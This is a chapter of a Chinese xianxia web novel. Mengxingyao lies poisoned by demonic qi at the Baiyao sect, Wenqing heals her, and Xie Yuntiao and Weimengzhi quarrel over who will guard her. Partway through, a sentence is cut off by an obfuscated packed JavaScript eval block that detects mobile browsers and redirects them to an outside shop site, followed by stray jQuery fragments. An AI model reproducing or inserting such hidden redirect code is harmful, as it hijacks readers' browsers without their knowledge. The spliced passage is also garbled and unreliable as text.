当时闻晴正好来百药宗拜访。
身为重春的爱徒,她和兄长都在医术上颇有造诣,孟星遥扩建百药宗时,她也曾给过诸多建议。
可以说,这里也算她在归明仙府的一处小基地。
因此发现他们这几人都不在清衡山,只有少衡来接待她时,闻晴见他忙得不可开交,索性自己往百药宗去逛逛,也乐个清闲。
谢云迢闯进来时,她正和白芷等人交谈医道见闻,观赏仙草奇葩,冷不防听见外头轰隆一声。
烟尘飞扬之间,谢云迢一路冲了进来,厉声疾呼:“来人,速来救人!……阿晴?!快点,快点救她!”
他身上真气激荡,源源不断的至纯灵力自他的掌心传向孟星遥的心口,只恨不能给得更多更快。
而他的怀中,孟星遥虽神色安宁,可双目紧闭,面色苍白泛紫,十分虚弱无力。
唯有她唇边的鲜血分外刺目。
百药宗众人被吓了一大跳,立即忙碌起来,闻晴指挥着谢云迢放下她,想仔细查看情况。
脱离谢云迢真气的一瞬间,孟星遥痛苦地低吟了几声,似是疼痛难忍。
“到底发生了何事?”闻晴渡去灵力,柔和的云湫心法短暂压制住孟星遥体内翻涌的魔毒后,她忙将谢云迢拉出门外。
谢云迢犹疑片刻,还是将情况大致托出。
听闻魔骨和魔军突袭一事,闻晴大惊失色,但此刻也顾不上许多,她忙对症下药,吩咐白芷等人去准备各项事宜。
她打量了他一眼,叮嘱道:“你右臂上的伤记得包扎一下。”
右臂?谢云迢下意识侧头看向左边,手臂上似乎还残留着孟星遥躺在怀里的余温,发现什么也没有后,他方才如梦初醒。
他的右臂上确实被划了一道刀痕,鲜血淋漓。
刚才孟星遥和君野破塔而出,锁链尽毁,局势震荡,令不少人都一时分神,也包括他。
江妩、霍北崖等人皆负了伤,趁机拼死一战,合力破阵,终于在他的剑阵之下逃了出去。
混乱的场面之中,霍北崖的血风刀也划伤了他。
闻晴说:“你去旁边的房间里休息,我让人来给你处理吧,魔气凶猛,还是小心些。”
“阿晴,”谢云迢却不敢离开,他拽住她,言辞恳切,“救她,求求你,一定要救她。”
闻晴愣了一下。
在她的印象里,他永远都是一副稳重从容的自信模样,无论是少时修炼除妖遇险,还是成年后面对千万魔军。
从小到大,听得最多的便是其他人,尤其是长昀和重春等师长们夸他性格沉稳淡定。
如千丈松,如东升日,将来定大有可为。
即便是同他最为交好的苏祈月等人出事,他虽也紧张担忧,但依旧会有条不紊地将一切安排妥当。
他唯一一次失态,便是五百年前在太微上殿里,试图替那魔头黎煊求情辩白那次。
仅此一次,便令所有人大失所望,尤其是原本对他最寄予厚望的长昀神尊。
他的名声风评自此一落千丈,无可挽回,也彻底失去了众望所归的仙首之位。
而这回,她竟又一次久违地目睹他如此不知所措的模样,还从他忐忑的眼神里看出了呼之欲出的……
害怕?
一个从来所向披靡、视死如归,又以武为痴的人,竟也会害怕?
但她也来不及多想,因为孟星遥的情况委实糟糕。
闻晴将袖子抽出,语气生疏道:“你大可放心,不必你来求我,我也会拼劲全力救她的。”
谢云迢终于冷静了一些,尽管闻晴这么说,他还是颔首示意,道了一句:“……多谢。”
门合上不久,危梦之也赶到了。
他一闯进来就来就急忙喊道:“阿遥呢,她如何了?……怎么回事!你也受伤了?!”
谢云迢走得太快,他根本来不及看清发生了什么,这才注意到他居然也负伤了。
这魔军有备而来,又事发突然,饶是归明仙府训练有素,紧急应对,也只能争取不败下风,在场之人多少都被波及。
但没想到连谢云迢都能受伤。
谢云迢摇了摇头:“无碍,只是小伤罢了。”他看了他一眼,说:“你的伤也处理一下吧。我已经传令仙府内各医修听百药宗安排,去救治其他伤患了。”
“我这点小伤,也无碍的。”
危梦之本想忍着后背被齐霄偷袭痛击一掌的疼,但瞅了瞅谢云迢那严肃的脸色,只好妥协着褪下外衣,让旁边的弟子替自己涂药。
屋里顿时响起他倒吸凉气的声音。
好在这伤虽疼痛入骨,但也的确无性命之忧。初始的疼劲过去后,危梦之顾不得自己,忙问道:“所以阿遥呢?到底如何了?”
“不知具体情况,闻晴还在里面。”
“阿晴已经来了?”危梦之惊喜地松了口气,“有她在,我就放心了,刚才一路上我还在盘算,到底是找她还是找百里师尊过来更快,阿姊那医术,看点小伤小病也就罢了,遇上这种事,我还是不放心的。”
一提到苏祈月,就不由地想到那群魔军和遭了灾的飞雪剑宗,以及那个绑架了她的林悦君。
危梦之恨恨地砸了下茶杯,怒道:“这群魔道丧尽天良,吃了熊心豹子胆,居然敢潜伏至此!”
他想起那个多管闲事的显眼包白宴初,忍不住道:“那个狐狸精,真是可恨!先前说的白玹那事,也和他有关。我方才得到越风的消息,说他挣脱了捆仙索,逃了,还绑走了那个叫宁音的弟子。”
“唉,”他叹了口气,满是怒其不争,“我早跟阿遥说这人不是什么好东西,这么多年,她唯一的毛病就是太容易信别人了,却不信我!”
谢云迢服下弟子送来的药,药味本苦涩,但混合了一层浅浅的糖衣,倒不识得苦味了。
他瞥了他一眼,沉声道:“事已至此,既然当初没能发现,现在提这些除了徒增怨气,又有何用,还不如着眼当下,解决事情为先。”
危梦之一激灵,方觉有了歧义,忙道:“……不是,我没有想怪她……”
屋外传来开门的声音,两人忙出去查看,原来是白芷几人出来了。
“尊上伤得不轻,好在掌门护她心脉及时,现下放出毒血后,暂时无性命之虞,闻掌门还在查看,让我先出来回了二位。”
白芷知道他们想问什么,不等他俩说话,便率先恭敬回答了。
危梦之着急地往里探看,但屋子里隔了一层屏风,迷迷蒙蒙的,只能看见一个依稀的人影,仍旧躺在床上昏迷不醒。
“我要进去看看她。”
他说罢正要往里走,却被谢云迢挡住,他疑惑地抬眸看他,谢云迢摇了摇头,道:“你先别打扰她。”
“为何?”危梦之问道,突然又想起什么,沉声道,“我和她是有旧怨不错,之前她好好的,我可以听你的顾全大局,互不打扰。现在我担心她,想看看她也不行?”
“她现在身体虚弱,情况不明,受不得刺激,”谢云迢说,“不是不让你见她,等她身体好点再来看她,这不对吗?”
危梦之犹疑片刻,谢云迢这话说得虽然有几分道理,但他总感觉不得劲。
他摆摆手,难得坚持道:“不行,我心里慌,不见她,我放心不下。”
两人在门口拉拉扯扯,他们不走,其他人也不敢动弹,白芷在一旁无奈地叹了口气。
百药宗今个儿可真热闹,前脚派了一堆人出去,现在又一群人围在这儿。
这两尊大佛堵在这儿,她又不敢随意忤逆,只得胆战心惊杵在一边,生怕被点到名。
好在这种为难的局势没有持续太久。
“你们一个两个地,都挤在这里干什么呢,该干嘛干嘛,都出去。”
只听得一声厉喝,闻晴没好气地从屋里走了出来,瞪着众人。
明明是云湫仙岛的掌门,闻晴却丝毫没有身为客人的客气,她气势汹汹地瞪向堵门的两个罪魁祸首,同样毫不留情。
“你俩,也给我出去,不知道医堂里不许喧哗吗?再吵,日后哪怕阿遥同意,我也不许你们再踏进这百药宗半步!”
大荒道法千千万,唯有一个共识,那便是得罪谁也不能得罪已入道的医修。
哪怕医修手无缚鸡之力,那护自家病人时的气势,也得令大荒最强的剑修后退三步。
虽然她最后一句很不讲道理,但人前不可一世的两人对视一眼,还是老老实实地退出了屋子。
寒风吹着落叶,打着卷儿飘过枯树下的茶桌。
危梦之来回踱着步,一边思考一边扼腕摇头。
“不行,不行。”他说,“君野这群魔道走狗,太过狡诈,虽然有阿晴在,但难保有其他隐患,我还是得传信给百里师尊,让他老人家有空来一趟,”
谢云迢坐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16686807|172938||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在茶桌旁,看着他火急火燎的模样,说道:“你还是等过些天,看看情况再说,免得好心办坏事。”
危梦之琢磨了一下,觉得他说得也有理。
一开始的急切过后,他现在也冷静下来,看了眼清衡山的方向,他说:“真是多事之秋,有魔骨与飞雪剑宗之事在前,现下来了如此多宾客,过几日帝君也该来了,庆典亦不可耽误。”
他转头看向谢云迢:“方才阿晴说,阿遥这伤伤及根本,虽已无性命之忧,但想要恢复,还需要人传功相助,你放心去忙吧,这边我看着便好。”
他停顿一下,想顺嘴替苏祈月说两句好话。
现下孟星遥昏迷不醒,苏祈月虽然有伤,但辅佐谢云迢处理这些事应当不在话下。
他生性淡然,又修了无情道,好不容易如今有些松动,有望了却阿姊一桩夙愿,得趁机多助力几句才对。
不管是他出于责任,或是她挟恩图报,总归是苏祈月痴情至此,既然有望结契,那还是最好能双方都心甘情愿的。
怎料下一刻,谢云迢却说道:“你去吧,我在这边守着。”
这一下来得猝不及防,危梦之愣住了。
“……嗯?”他不可思议地看向他,以为自己听错了,但谢云迢的眼神无比肯定,就是字面上的意思。
“你不去?”
“我已传令少衡等人妥善救治和安抚伤患,其余消息,都先暂且按下。这几天你先和祈月主持一下庆典待客之事,一切都等阿遥恢复后,我再回去处理。”
他安排起这些事,倒是有条不紊。
“为何。”危梦之不理解,孟星遥这伤,他留着传功护法便好,明明是谢云迢回去更合适。
谢云迢沉默片刻,解释道:“阿遥受的魔毒属阴性,她本身学的冲月剑诀和妙法莲华心经也是阴性,你的真气不足以养她,我和她的功法相伴相生,自当是最合适的。”
危梦之想起往事,抿了抿嘴,倒也无可辩驳。
谢云迢自创的天行剑法源于啸日剑诀和白虎法相,此二者对他人而言杀气磅礴,但对孟星遥来说却极为适用。
她每次因灵力耗费过大而感到疲劳时,总是谢云迢的真气最为让她舒缓,比旁人的更为好用。
他一开始很是好奇,还追着谢云迢问,他方才告诉他,是黎煊自创的这两套剑法心诀,相辅相成,才阴差阳错成了此事,后来他煅成了纯阳之体,更是一去不复返。
谢云迢都说到这步,危梦之也不好再坚持,他惋惜道:“既是如此,那我也先回去了,你在此,替我好生顾着她。”
他匆匆离开,走到门口时,又经不住回头望了一眼。
虽然谢云迢的话滴水不漏,但他又总觉得有几分说不清道不明的惶然。
扪心自问,虽然当年他稀里糊涂犯了错,和孟星遥分开,但他一直希望,时间一久,一切都能回到正轨上。
是他贪婪,总想着就算做不成仙侣,但各自安好后,这么多年情谊,若能恢复同门和朋友之谊,也是好的。
怎料世事无常,先是沈容姬没能等到诞下孩子,便意外亡于魔修之手,不久后西征大计,黎煊入魔,闻衍声、重春师姑等人因他逝世,师父也受伤闭关,谢云迢还失了仙首之位,实是风雨飘摇。
好不容易太平了百来年,他却因嫉妒失手打伤叶韶景,以及苏祈月出事,被孟星遥夺走了二掌门之位。
一桩桩一件件,待他回过神来,他竟已经和她势如水火,不可调和。
各种恩怨交织如乱麻,他也分不清他到底是什么心情。
但心底深处,总归有一个私心让他坚持着,若谢云迢和苏祈月结了婚契,大家总归还是真成了一家人。
在他不为人知的年少设想里,他们神凡混血的姐弟二人,初入学宫便遇上情同姐弟,又颇有仙缘的两个人族,本该就是命中注定最契合的组合。
又因谢云迢修无情道,他最初只觉得他和孟星遥结契便好。
如今阴差阳错另成姻缘,虽然遗憾不是他和她,但至少,还有另一对可以落地结果。
有此羁绊在身,扭改命运,四人总不至于落到,他在星算盘里千算万算,却最终推算出的那个渐行渐远,彻底形同陌路的结局。
事到如今,这一切眼见得终于要实现了。
他深吸了口气,凡人总爱说近乡情怯,他这份惶然,想来也当如此,不过是杞人忧天罢了。